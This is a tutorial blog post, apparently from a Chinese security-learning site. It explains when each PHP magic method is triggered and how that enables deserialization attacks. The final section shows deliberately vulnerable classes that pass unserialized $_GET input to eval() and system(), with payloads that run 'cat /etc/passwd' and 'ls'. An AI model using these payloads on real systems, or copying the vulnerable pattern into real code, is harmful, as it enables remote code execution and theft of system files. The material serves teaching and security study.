Magic method of PHP deserialization vulnerability

1. Magic method

PHP magic methods (Magic Methods)are a set of special methods that are automatically called under certain circumstances to implement special behaviors of objects or provide additional functionality. The names of these methods all start and end with double underscores, for example: , __construct(), __toString()etc.

Magic methods can help us achieve some special behaviors, such as object initialization, attribute access control, object conversion, etc. By properly utilizing magic methods, we can enhance the flexibility and functionality of PHP objects.

2. Detailed explanation of PHP magic method

To learn magic methods, you need to be familiar with each magic method 触发时机. This is the most important point in learning PHP deserialization vulnerabilities. If you don’t know when to trigger the magic method, you can’t construct it POP链. Secondly, you need to understand each magic method. The parameter list and return value type, the magic method in PHP is introduced in detail below.
insert image description here

magic method trigger timing
__construct() The constructor of the class, the constructor is automatically called when the class instantiates the object
__destruct() The destructor of the class, the destructor is called automatically before the object is destroyed
__sleep() Automatically called before the object is serialized (using the serialize() function), you can specify the properties that need to be serialized in this method, and return an array containing all the variable names that should be serialized in the object
__wakeup() Called automatically before the object is deserialized (using the unserialize() function), object state can be reinitialized in this method.
__set($property, $value) Called automatically when assigning a non-existent or inaccessible (private modified) property of an object, passing the property name and property value as parameters.
__get($property) Called automatically when a nonexistent or inaccessible property of an object is accessed, passing the property name as an argument.
__isset($property) Called automatically when the isset() or empty() functions are used on a non-existent or inaccessible property of an object, passing the property name as an argument.
__unset($property) Called automatically when the unset() function is used on a non-existent or inaccessible property of an object, passing the property name as an argument.
__call($method, $arguments) When calling a non-existent or invisible member method, PHP will first call the __call() method to store the method name and its parameters
__callStatic($method, $arguments) Automatically invoked when calling a method that does not exist in a static method, passing the method name and parameter array as parameters.
__toString() When using echo or print output object to convert the object to string form, the __toString() method will be called
__invoke() Called automatically when calling an object as a function.
__clone() Called automatically when an object is cloned using the clone keyword.
__set_state($array) Called automatically when a class is exported using var_export() to return an array containing the static members of the class.
__debugInfo() Called automatically when an object is printed using var_dump(), used to customize debugging information for an object.

1、__construct()

The constructor __construct(), when instantiating an object, will first automatically execute the method

<?php
class User {
    
    
    public $username;
    public function __construct($username) {
    
    
        $this->username = $username;
        echo "触发了构造函数1次" ;
    }
}
$test = new User("benben");    //实例化对象时触发构造函数__construct()
$ser = serialize($test);       //在序列化和反序列化过程中不会触发构造函数
unserialize($ser);
?>

2、__destruct()

Destructor __destruct(), a magic method executed when all references to an object are deleted or when the object is explicitly destroyed

<?php
class User {
    
    
    public function __destruct()
    {
    
    
        echo "触发了析构函数1次";
    }
}
$test = new User("benben");  //实例化对象结束后,代码运行完会销毁,触发析构函数_destruct()
$ser = serialize($test);     //在序列化过程中不会触发
unserialize($ser);           //在反序列化过程中会触发,反序列化得到的是对象,用完后会销毁,触发析构函数_destruct()
?>

The above code triggers the destructor twice in total. The first time is after the object is instantiated. After the code runs, the object will be destroyed and the destructor will be triggered. The second time will be triggered _destruct()during the deserialization process, and the deserialization will get It is an object, which will be destroyed after use, and the destructor will be triggered_destruct()

3、__sleep()

When serializing, serialize()the function checks to see if a magic method exists in the class __sleep(). If it exists, this method will be called first. You can specify the properties that need to be serialized in this method, and return an array containing all the variable names that should be serialized in the object. Then the serialization operation is performed.

This function can be used to clean up an object and returns an array containing the names of all variables in the object that should be serialized. If the method returns nothing, NULLis serialized and a E_NOTICElevel error is raised.

<?php
class User {
    
    
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password) {
    
    
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
    
    
        return array('username', 'nickname');      //sleep执行返回需要序列化的属性名,过滤掉password变量
    }
}
$user = new User('a', 'b', 'c');
echo serialize($user);      //serialize()只序列化sleep返回的变量,序列化之后的字符串:O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
//
?>

4、__weakup()

When deserializing, unserialize()the function checks to see if a __wakeup()method exists. If present, __wakeup()the method will be called first. Object state can be reinitialized in this method.

<?php
class User {
    
    
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
    
    
        $this->password = $this->username;       //反序列化之前触发_wakeup(),给password赋值
    }
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';    // 字符串中并没有password
var_dump(unserialize($user_ser));   // object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["order":"User":private]=> NULL } 
?>

__wakeup()unserialize()Called before deserialization Called after
__destruct()deserializationunserialize()

5、__toString()

When using echoor printoutputting an object to convert an object to a string, or to concatenate an "object" with a "string", the __toString()method is called

<?php
class User {
    
    
    var $benben = "this is test!!";
    public function __toString()
    {
    
    
        return '格式不对,输出不了!';
    }
}
$test = new User() ;     // 把类User实体化并赋值给$test,此时$test是个对象
print_r($test);          // 打印输出对象可以使用print_r或者var_dump,该对象输出后为:User Object(    [benben] => this is test!!)
echo $test;              // 如果使用echo或者print只能调用字符串的方式去调用对象,即把对象当成字符串使用,此时自动触发toString()
?>

6、__invoke()

Functions are triggered when an object is called as a function __invoke().

<?php
class User {
    
    
    var $benben = "this is test!!";
         public function __invoke()
         {
    
    
             echo  '它不是个函数!';
          }
}
$test = new User() ;     //把类User实例化为对象并赋值给$test
echo $test ->benben;     //正常输出对象里的值benben
$test();                 //加()是把test当成函数test()来调用,此时触发_invoke()
?>

7、__call()

When calling a non-existent or invisible member method, PHP will first call __call()the method to store the method name and its parameters.

<?php
class User {
    
    
    public function __call($arg1,$arg2)
    {
    
    
        echo "$arg1,$arg2[0]";
    }
}
$test = new User() ;
$test -> callxxx('a','b','c'); //调用的方法callxxx()不存在,触发魔术方法call(),传参(callxxx,a);$arg1:调用的不存在的方法的名称;$arg2:调用的不存在的方法的参数;
?>

__call(string $function_name, array $arguments)This method has two parameters, the first parameter $function_namewill automatically receive the name of the method that does not exist, and the second parameter $argumentswill receive multiple parameters of the method that does not exist in the form of an array.

8、__callStatic()

When calling a non-existent or invisible static method, __callStatic()the method is called automatically, passing the method name and an array of parameters as arguments.

<?php
class User {
    
    
    public static function __callStatic($arg1,$arg2)
    {
    
    
        echo "$arg1,$arg2[0]";
    }
}
$test = new User() ;
$test::callxxx('a');        //静态调用使用"::",静态调用方法callxxx(),由于其不存在,所以触发__callStatic,传参(callxxx,a),输出:callxxx,a
?>

9、__set()

__set($name, $value)Function, privatewhen assigning a value to an object's non-existent or inaccessible (decorated) property, PHP will execute __set()the method. __set()The method contains two parameters, $namewhich represent the variable name and $valuevariable value, and the two parameters cannot be omitted.

<?php
class User {
    
    
    public $var1;
    public function __set($arg1 ,$arg2)
    {
    
    
        echo  $arg1.','.$arg2;
    }
}
$test = new User() ;
$test->var2=1;        //给不存在的成员属性var2赋值为1,自动触发__set()方法;如果有__get(),先调用__get(),再调用__set(),输出:var2,1
?>

10、__get()

__get($name)Function, when the program accesses an undefined or invisible member variable, PHP will execute __get()the method to read the variable value. __get()The method takes one parameter, which represents the name of the variable to call.

<?php
class User {
    
    
    public $var1;
    public function __get($arg1)
    {
    
    
        echo  $arg1;
    }
}
$test = new User() ;
$test ->var2;         //调用的成员属性var2不存在,触发__get(),把不存在的属性的名称var2赋值给$arg1,输出:var2
?>

11、__isset()

Automatically invoked when the isset()or function is used on a non-existent or inaccessible property of an object , passing the property name as an argument.empty()

<?php
    class User {
    
    
        private $var;
        public function __isset($arg1)
        {
    
    
            echo  $arg1;
        }
    }
$test = new User() ;
isset($test->var);       // 调用的成员属性var不可访问,并对其使用isset()函数或empty()函数,触发__isset(),输出:var
?>

12、__unset()

Automatically invoked when using the function on a non-existent or inaccessible property of an object unset(), passing the property name as an argument.

<?php
    class User {
    
    
        private $var;
        public function __unset($arg1 )
        {
    
    
            echo  $arg1;
        }
    }
$test = new User() ;
unset($test->var);        // 调用的成员属性var不可访问,并对其使用unset()函数,触发__unset(),输出:var
?>

13、__clone()

Called automatically when an object is cloned using the clone keyword.

<?php
    class User {
    
    
        private $var;
        public function __clone( )
        {
    
    
            echo  "__clone test";
        }
    }
$test = new User() ;
$newclass = clone($test)        // __clone test
?>

3. Example of magic method exploit

1. Exploitation of __destruct() vulnerability

<?php
class User {
    
    
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
    
    
        eval($this->cmd);
    }
}
$ser = $_GET["benben"];
unserialize($ser);       //反序列化触发_destruct(),destruct()执行eval(),eval()触发代码
?>

After the above code is deserialized, it will trigger __destruct()the magic method, which has a command execution function eval(), and because the value in the object generated by deserialization is provided by the value in the deserialization; it is different from the predefined value of the original class Irrelevant, so we re-assign the value in the serialized string $cmd, for example: , so that the function $cmd="system('cat /etc/passwd');"
will be executed after deserialization , thus triggering code execution. eval()This is just the simplest way to exploit deserialization vulnerabilities, aiming to understand how to use deserialization to trigger code execution.

// payload:
?benben=O:4:"User":1:{
    
    s:3:"cmd";s:26:"system('cat /etc/passwd');";}

insert image description here

2. __wakeup() exploit

<?php
class User {
    
    
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
    
    
        system($this->username);
    }
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>                     

Similar to the exploit method of the previous question __destruct(), it will be triggered before deserialization __wakeup(). There is a function to execute system commands in this function system(), which executes the properties of the object , so we can set the value usernamein the serialized string to be a system command. username.

// payload:
?benben=O:4:"User":1:{
    
    s:8:"username";s:2:"ls";} 

insert image description here

The above knowledge summary comes from Orange Technology’s php deserialization vulnerability learning , combined with my own understanding.

Guess you like

Origin blog.csdn.net/weixin_45954730/article/details/131861020